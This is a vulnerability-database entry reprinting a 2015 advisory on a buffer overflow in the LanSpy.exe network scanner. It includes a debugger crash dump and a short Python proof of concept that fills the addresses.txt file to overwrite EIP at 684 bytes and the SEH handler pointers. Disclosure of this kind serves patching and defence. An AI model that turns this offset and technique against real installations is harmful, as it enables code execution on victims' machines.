LanSpy Buffer Overflow Vulnerability

vendor:

LanSpy.exe

by:

hyp3rlinx

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: LanSpy.exe

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE: lantricks:lanspy

Metasploit:

Other Scripts:

Platforms Tested:

2015

LanSpy Buffer Overflow Vulnerability

LanSpy.exe is prone to a buffer overflow vulnerability. This vulnerability occurs when a malicious 'addresses.txt' file is loaded by the application. The payload for the buffer overflow must be the very first entry in the text file. When the application is run and the scanning process is initiated, the program crashes, allowing an attacker to control the EIP at 684 bytes and overwrite both the NSEH & SEH exception handler pointers.

Mitigation:

There is no known mitigation or remediation for this vulnerability.

Source

Exploit-DB raw data:

'''
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-LANSPY-BUFFER-OVERFLOW-10052015.txt


Vendor:
================================
www.lantricks.com


Product:
================================
LanSpy.exe

LanSpy is network security and port scanner, which allows getting different
information about computer:
Domain and NetBios names, MAC address, Server information, Domain and
Domain controller etc....


Vulnerability Type:
===================
Buffer Overflow


CVE Reference:
==============
N/A


Vulnerability Details:
======================

LanSpy.exe uses an 'addresses.txt' plain text file which lives under the
main LanSpy
directory the file is used to load scanned IPs or URLs

e.g.

127.0.0.1

replace addresses.txt file with our malicious one, the buffer overflow
payload must
be the very first entry in the text file. Next, run LanSpy.exe and click
green arrow
or use keyboard press 'F3' to start. Then KABOOM!... program crashez and we
will control
EIP at 684 bytes also overwrite both the NSEH & SEH exception handler
pointers...

Quick stack dump...

(1274.19c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=0264fb41 ebx=00418d7c ecx=0264fe84 edx=00000000 esi=00000000
edi=00000000
eip=41414141 esp=0264fe8c ebp=41414141 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???
0:001> g

(1274.19c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=52525252 edx=7714b4ad esi=00000000
edi=00000000
eip=52525252 esp=0264f8f0 ebp=0264f910 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
52525252 ??              ???
0:001> !exchain
0264f904: ntdll!LdrRemoveLoadAsDataTable+d64 (7714b4ad)
0264fe8c: 52525252
Invalid exception stack at 42424242


POC code(s):
=============
'''

import os

#LanSpy.exe buffer overflow POC
#by hyp3rlinx
#hyp3rlinx.altervista.org
#=============================

#LanSpy.exe uses an 'addresses.txt' text file
#which lives under the LanSpy directory
#the addresses.txt file is used to load scanned IPs or URLs

#control EIP at 684 bytes... also overwrite
#both the NSEH & SEH exception handler pointers
#-----------------------------------------------

payload="A"*684+"BBBB"+"RRRR"        #<------- KABOOOOOOOOOOOOOOOOOOM!

file=open("C:\\Program Files (x86)\\LanTricks\\LanSpy\\addresses.txt", "w")
file.write(payload)
file.close()


'''
Public Disclosure:
===================
October 5, 2015


Exploitation Technique:
=======================
Local


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
'''